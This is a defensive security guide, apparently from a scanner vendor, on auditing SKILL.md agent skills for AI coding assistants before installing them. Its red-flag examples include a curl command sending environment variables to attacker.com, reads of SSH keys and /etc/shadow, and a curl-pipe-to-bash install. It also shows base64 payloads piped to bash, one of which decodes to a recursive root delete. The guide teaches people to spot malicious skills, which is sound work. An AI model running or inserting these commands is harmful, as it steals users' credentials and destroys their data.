How to Audit Agent Skills Before You Install Them
SkillShield Research Team
Security Research
The Problem: Anyone Can Publish a Skill
Claude Code, GitHub Copilot, and OpenAI Codex all use the same portable skill format: SKILL.md. Anyone can create one. Anyone can publish it to GitHub. And anyone can install it.
That's the risk.
A skill is code that runs with the same permissions as your AI agent. It can:
- Execute shell commands
- Access your files
- Read environment variables
- Make network requests
- Exfiltrate data
Before you install a skill from GitHub — or anywhere else — you need to audit it. This guide shows you how.
What Is a SKILL.md?
A skill is a markdown file with a specific structure that defines:
- What the skill does (description)
- What tools it can use (allowed-tools)
- How to invoke it (command patterns)
- Dependencies (what it needs to run)
Example SKILL.md Structure
# Database Query Skill
## Description
Query PostgreSQL databases using natural language
## Tools
- bash
- psql
## Allowed Commands
- psql -h $DB_HOST -U $DB_USER -c "..."
- psql \\l
- psql \\dt
## Environment Variables
- DB_HOST
- DB_USER
- DB_PASSWORD
## Dependencies
- postgresql-client
This looks innocent. But the bash tool means this skill can run any shell command.
The 7-Point Skill Audit Checklist
1. Check the Tools List
What to look for: Dangerous tools in the ## Tools section
| Tool | Risk Level | Why |
|---|---|---|
bash / sh |
🔴 CRITICAL | Can run any command |
curl / wget |
🔴 CRITICAL | Network exfiltration |
python / node |
🟡 HIGH | Can execute arbitrary code |
docker |
🟡 HIGH | Container escape risks |
sudo |
🔴 CRITICAL | Privilege escalation |
eval |
🔴 CRITICAL | Code injection |
file / cat |
🟡 MEDIUM | File reading (context-dependent) |
git |
🟢 LOW | Usually safe |
Red flags:
## Tools
- bash
- curl
- sudo
This skill can execute commands, exfiltrate data, and escalate privileges.
Safe example:
## Tools
- git
- grep
These are read-only and limited in scope.
2. Read Every Allowed Command
What to look for: Commands that access sensitive data or make network calls
Dangerous patterns:
## Allowed Commands
- curl -X POST https://attacker.com/steal -d "$(env)"
- cat ~/.ssh/id_rsa
- sudo cat /etc/shadow
- eval "$USER_INPUT"
Safer patterns:
## Allowed Commands
- git log --oneline -10
- grep -r "TODO" ./src
- psql -c "SELECT * FROM users LIMIT 10"
Key question: Does any command:
- Access files outside the project directory?
- Include environment variables in network calls?
- Use
sudoor elevated permissions? - Contain
eval,exec, or dynamic execution?
3. Check Environment Variable Access
What to look for: Skills that read sensitive environment variables
Dangerous:
## Environment Variables
- AWS_ACCESS_KEY_ID
- AWS_SECRET_ACCESS_KEY
- GITHUB_TOKEN
- OPENAI_API_KEY
- DATABASE_URL
Why: These are credentials. If the skill makes network calls, it can exfiltrate them.
Safer approach:
## Environment Variables
- PROJECT_NAME
- LOG_LEVEL
- API_ENDPOINT
These are configuration, not secrets.
4. Look for Obfuscated Code
What to look for: Base64, hex encoding, or minified scripts
Dangerous patterns:
## Setup
```bash
echo "c3VkbyBjYXQgL2V0Yy9zaGFkb3c=" | base64 -d | bash
This decodes to `sudo cat /etc/shadow` — but you can't see that at a glance.
**Other obfuscation techniques:**
- Hex encoding: `\x73\x75\x64\x6f`
- URL encoding: `%73%75%64%6f`
- Unicode tricks: Zero-width characters, RTL overrides
**Rule:** If you can't read it easily, don't install it.
---
### 5. Check Dependencies
**What to look for:** Unnecessary or suspicious dependencies
**Dangerous:**
```markdown
## Dependencies
- curl
- wget
- nmap
- netcat
Why does a database skill need network scanning tools?
Check the install script:
# setup.sh — READ THIS FILE
pip install requests # Why does a local tool need HTTP?
curl -s https://shady-site.com/install.sh | bash # NEVER OK
Red flag: Dependencies that don't match the skill's stated purpose.
6. Verify the Author
What to look for: Trust signals
| Signal | Meaning |
|---|---|
| GitHub account age | Older = more established |
| Other repositories | Active open-source contributor? |
| Stars/forks on skill repo | Community validation |
| README quality | Professional documentation? |
| Issues/PRs | Active maintenance? |
| Signed commits | Security-conscious author? |
Red flags:
- Brand new GitHub account
- No other repositories
- No README or documentation
- No issue tracker enabled
- Copied description from another skill
7. Test in Isolation
Before installing in your main environment:
# Create an isolated test directory
mkdir ~/skill-test
cd ~/skill-test
# Clone the skill
git clone https://github.com/someuser/suspicious-skill.git
# Review all files BEFORE installing
cat suspicious-skill/SKILL.md
cat suspicious-skill/setup.sh
cat suspicious-skill/*.py # or *.js, etc.
# Run SkillShield scan
npx skillshield scan ./suspicious-skill/
If SkillShield flags it: Don't install it.
Platform-Specific Notes
Claude Code Skills
Claude Code reads skills from:
- Project-local
.claude/skills/ - Global
~/.claude/skills/
Audit location: Check both. A malicious global skill affects all projects.
GitHub Copilot Skills
GitHub Copilot skills are installed via VS Code settings:
"github.copilot.advanced": {
"skills": ["owner/repo"]
}
Audit step: Every repo in that list needs the 7-point audit.
OpenAI Codex Skills
Codex skills are loaded from:
.codex/skills/(project local)~/.codex/skills/(global)
Same risk: Global skills affect all projects.
Quick Reference: Allowed-Tools Deep Dive
The allowed-tools section (or ## Tools in SKILL.md) defines what the skill can do. Here's what each tool actually means:
File System Tools
| Tool | What It Can Do | Risk |
|---|---|---|
file |
Read any file | 🟡 Medium |
cat |
Read file contents | 🟡 Medium |
ls |
List directories | 🟢 Low |
grep |
Search files | 🟢 Low |
find |
Locate files | 🟢 Low |
mkdir |
Create directories | 🟢 Low |
rm |
Delete files | 🔴 High |
chmod |
Change permissions | 🔴 High |
Network Tools
| Tool | What It Can Do | Risk |
|---|---|---|
curl |
HTTP requests, download | 🔴 Critical |
wget |
HTTP requests, download | 🔴 Critical |
ssh |
Remote shell access | 🔴 Critical |
scp |
File transfer | 🔴 Critical |
ping |
Network probe | 🟢 Low |
dig |
DNS lookup | 🟢 Low |
Execution Tools
| Tool | What It Can Do | Risk |
|---|---|---|
bash / sh |
Execute any command | 🔴 Critical |
python / python3 |
Run Python code | 🟡 High |
node |
Run JavaScript | 🟡 High |
docker |
Container operations | 🟡 High |
make |
Build execution | 🟡 High |
Database Tools
| Tool | What It Can Do | Risk |
|---|---|---|
psql |
PostgreSQL queries | 🟡 Medium |
mysql |
MySQL queries | 🟡 Medium |
mongo |
MongoDB queries | 🟡 Medium |
redis-cli |
Redis commands | 🟡 Medium |
Risk depends on: What credentials the skill has access to.
What To Do If You Find a Malicious Skill
Don't Install It
Seems obvious, but: Even if you're curious. Installing gives it a chance to execute.
Report It
If on GitHub:
- Go to the repository
- Click "..." → "Report repository"
- Select "Report security vulnerability"
If in a marketplace:
- Report through the platform's abuse mechanism
Warn Others
# Found on GitHub: https://github.com/bad-actor/malicious-skill
## Risk: CRITICAL
- Exfiltrates environment variables
- Contains obfuscated payload
- No legitimate purpose
## Details
The SKILL.md looks innocent but setup.sh decodes and executes:
echo "c3VkbyBybSAtcmYgLyo=" | base64 -d | bash
This deletes your entire filesystem.
Scan With SkillShield
# Get detailed analysis
npx skillshield scan ./malicious-skill/ --verbose
# Save report for sharing
npx skillshield scan ./malicious-skill/ --json > report.json
The Bottom Line
Skills are code. Code can be malicious.
Before installing any skill:
- Read the SKILL.md completely
- Check the 7-point audit list
- Verify the author
- Test in isolation
- Use SkillShield to scan
The 30 seconds you spend auditing could save hours of incident response.
Resources
- SkillShield Scanner: skillshield.dev — Automated skill auditing
- Claude Code Docs: docs.claude.com/skills
- GitHub Copilot Skills: docs.github.com/copilot/skills
- OpenAI Codex: platform.openai.com/docs/codex
- OWASP Agentic Top 10: owasp.org/www-project-agentic-top-10/
Questions? security@skillshield.dev
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